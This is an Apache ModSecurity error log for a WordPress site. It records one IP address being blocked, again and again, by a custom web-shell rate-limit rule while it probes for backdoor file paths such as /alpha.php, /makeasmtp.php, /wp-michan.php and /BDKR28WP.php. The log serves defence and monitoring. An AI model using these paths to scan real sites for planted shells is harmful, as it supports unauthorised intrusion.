[Fri Apr 17 14:34:44.320178 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:28450] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUhBP68VyHNvj1e56j8wAAANA"]
[Fri Apr 17 14:34:44.519482 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:28495] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUhBP68VyHNvj1e56j9AAAAMY"]
[Fri Apr 17 14:34:44.826849 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:26374] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUhMOaH-Pgc7WEf4NHFwAAAdA"]
[Fri Apr 17 14:34:45.023465 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:28030] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUhcOaH-Pgc7WEf4NHGQAAAcU"]
[Fri Apr 17 14:34:45.421154 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:28502] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUhZJYca8I3TNCwIf_HgAAAEM"]
[Fri Apr 17 14:34:45.568216 2026] [:error] [pid 9153:tid 9221] [client 74.234.56.128:28521] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUheMHGxkTZX3c45fPdwAAAIM"]
[Fri Apr 17 14:34:45.954641 2026] [:error] [pid 9152:tid 9195] [client 74.234.56.128:28934] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aeHUhZJYca8I3TNCwIf_HwAAAEU"]
[Fri Apr 17 14:34:46.071789 2026] [:error] [pid 9152:tid 9207] [client 74.234.56.128:28506] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUhpJYca8I3TNCwIf_IAAAAFE"]
[Fri Apr 17 14:34:46.476645 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28957] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUhpJYca8I3TNCwIf_IgAAAEY"]
[Fri Apr 17 14:34:46.594459 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:25353] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUhpJYca8I3TNCwIf_IwAAAEs"]
[Fri Apr 17 14:34:47.015056 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:29042] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUh5JYca8I3TNCwIf_JAAAAE0"]
[Fri Apr 17 14:34:47.125163 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:27996] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUhxP68VyHNvj1e56j-QAAAMM"]
[Fri Apr 17 14:34:47.523959 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:28953] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUh5JYca8I3TNCwIf_JQAAAFI"]
[Fri Apr 17 14:34:47.649214 2026] [:error] [pid 9153:tid 9233] [client 74.234.56.128:23916] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUh-MHGxkTZX3c45fPeQAAAI8"]
[Fri Apr 17 14:34:48.024839 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:22861] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aeHUiBP68VyHNvj1e56j_AAAANg"]
[Fri Apr 17 14:34:48.168610 2026] [:error] [pid 9152:tid 9212] [client 74.234.56.128:28959] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUiJJYca8I3TNCwIf_JgAAAFY"]
[Fri Apr 17 14:34:48.581482 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:28480] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUiJJYca8I3TNCwIf_JwAAAEk"]
[Fri Apr 17 14:34:48.693534 2026] [:error] [pid 9151:tid 9176] [client 74.234.56.128:29001] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUiMhTVuRPkua22vQU5gAAAA8"]
[Fri Apr 17 14:34:49.094466 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:24955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUiRP68VyHNvj1e56j_QAAANc"]
[Fri Apr 17 14:34:49.227879 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:28955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUiRP68VyHNvj1e56j_gAAAME"]
[Fri Apr 17 14:34:49.622118 2026] [:error] [pid 25010:tid 25032] [client 74.234.56.128:28980] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUiY-7kkf42RarqQ1FxgAAAVM"]
[Fri Apr 17 14:34:49.759498 2026] [:error] [pid 9151:tid 9173] [client 74.234.56.128:29043] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUichTVuRPkua22vQU5wAAAAw"]
[Fri Apr 17 14:34:50.239506 2026] [:error] [pid 51878:tid 51903] [client 74.234.56.128:28488] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aeHUiknQhUtMbw9EsgYawwAAARc"]
[Fri Apr 17 14:34:50.316207 2026] [:error] [pid 61523:tid 61546] [client 74.234.56.128:27001] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUisOaH-Pgc7WEf4NHIQAAAcQ"]
[Fri Apr 17 14:34:50.824445 2026] [:error] [pid 9151:tid 9180] [client 74.234.56.128:29452] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUishTVuRPkua22vQU6AAAABM"]
[Fri Apr 17 14:34:50.846042 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:29453] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUihP68VyHNvj1e56kAgAAAMM"]
[Fri Apr 17 14:34:51.351719 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:28992] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUixP68VyHNvj1e56kAwAAAMo"]
[Fri Apr 17 14:34:51.397399 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:28457] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUixP68VyHNvj1e56kBAAAAMI"]
[Fri Apr 17 14:34:51.903916 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:28939] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUixP68VyHNvj1e56kBQAAANg"]
[Fri Apr 17 14:34:51.912178 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:25403] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUixP68VyHNvj1e56kBgAAANI"]
[Fri Apr 17 14:34:52.407320 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:29458] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aeHUjBP68VyHNvj1e56kBwAAAMc"]
[Fri Apr 17 14:34:52.461550 2026] [:error] [pid 25010:tid 25021] [client 74.234.56.128:28479] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUjI-7kkf42RarqQ1FyQAAAUg"]
[Fri Apr 17 14:34:52.908598 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:27945] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUjMOaH-Pgc7WEf4NHIwAAAc4"]
[Fri Apr 17 14:34:52.981879 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:29027] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUjMOaH-Pgc7WEf4NHJAAAAdQ"]
[Fri Apr 17 14:34:53.410658 2026] [:error] [pid 25010:tid 25017] [client 74.234.56.128:29526] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUjY-7kkf42RarqQ1FygAAAUQ"]
[Fri Apr 17 14:34:53.523531 2026] [:error] [pid 9153:tid 9237] [client 74.234.56.128:26905] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUjeMHGxkTZX3c45fPewAAAJM"]
[Fri Apr 17 14:34:53.956516 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:26391] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUjRP68VyHNvj1e56kCwAAAM4"]
[Fri Apr 17 14:34:54.074374 2026] [:error] [pid 51878:tid 51894] [client 74.234.56.128:29455] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUjknQhUtMbw9EsgYayQAAAQ4"]
[Fri Apr 17 14:34:54.493522 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:28497] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aeHUjhP68VyHNvj1e56kDAAAAMM"]
[Fri Apr 17 14:34:54.576436 2026] [:error] [pid 51878:tid 51901] [client 74.234.56.128:28967] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUjknQhUtMbw9EsgYazAAAARU"]
[Fri Apr 17 14:34:55.043731 2026] [:error] [pid 9153:tid 9222] [client 74.234.56.128:29496] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUj-MHGxkTZX3c45fPfQAAAIQ"]
[Fri Apr 17 14:34:55.110769 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:26980] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUj0nQhUtMbw9EsgYazgAAAQM"]
[Fri Apr 17 14:34:55.545668 2026] [:error] [pid 51878:tid 51893] [client 74.234.56.128:29521] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUj0nQhUtMbw9EsgYazwAAAQ0"]
[Fri Apr 17 14:34:55.640051 2026] [:error] [pid 9152:tid 9210] [client 74.234.56.128:29015] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUj5JYca8I3TNCwIf_MAAAAFQ"]
[Fri Apr 17 14:34:56.093912 2026] [:error] [pid 25010:tid 25016] [client 74.234.56.128:28955] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUkI-7kkf42RarqQ1FywAAAUM"]
[Fri Apr 17 14:34:56.141085 2026] [:error] [pid 51878:tid 51888] [client 74.234.56.128:28982] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUkEnQhUtMbw9EsgYa0QAAAQg"]
[Fri Apr 17 14:34:56.627751 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:27905] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeHUkEnQhUtMbw9EsgYa0gAAARQ"]
[Fri Apr 17 14:34:56.643649 2026] [:error] [pid 34273:tid 34291] [client 74.234.56.128:29459] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUkGuQDW686mK3dgHDawAAAZA"]
[Fri Apr 17 14:34:57.128058 2026] [:error] [pid 9152:tid 9194] [client 74.234.56.128:24360] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUkZJYca8I3TNCwIf_MwAAAEQ"]
[Fri Apr 17 14:34:57.154001 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:29443] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUkRP68VyHNvj1e56kDQAAANg"]
[Fri Apr 17 14:34:57.664046 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:29447] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUkRP68VyHNvj1e56kDwAAAMc"]
[Fri Apr 17 14:34:57.750259 2026] [:error] [pid 34273:tid 34294] [client 74.234.56.128:28464] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUkWuQDW686mK3dgHDbAAAAZM"]
[Fri Apr 17 14:34:58.164122 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:28542] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUkhP68VyHNvj1e56kEQAAANY"]
[Fri Apr 17 14:34:58.251682 2026] [:error] [pid 9263:tid 9266] [client 74.234.56.128:27509] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aeHUkhP68VyHNvj1e56kEgAAAME"]
[Fri Apr 17 14:34:58.665527 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:29500] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeHUkhP68VyHNvj1e56kFAAAAM8"]
[Fri Apr 17 14:34:58.760480 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:28026] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aeHUkpJYca8I3TNCwIf_NwAAAEM"]
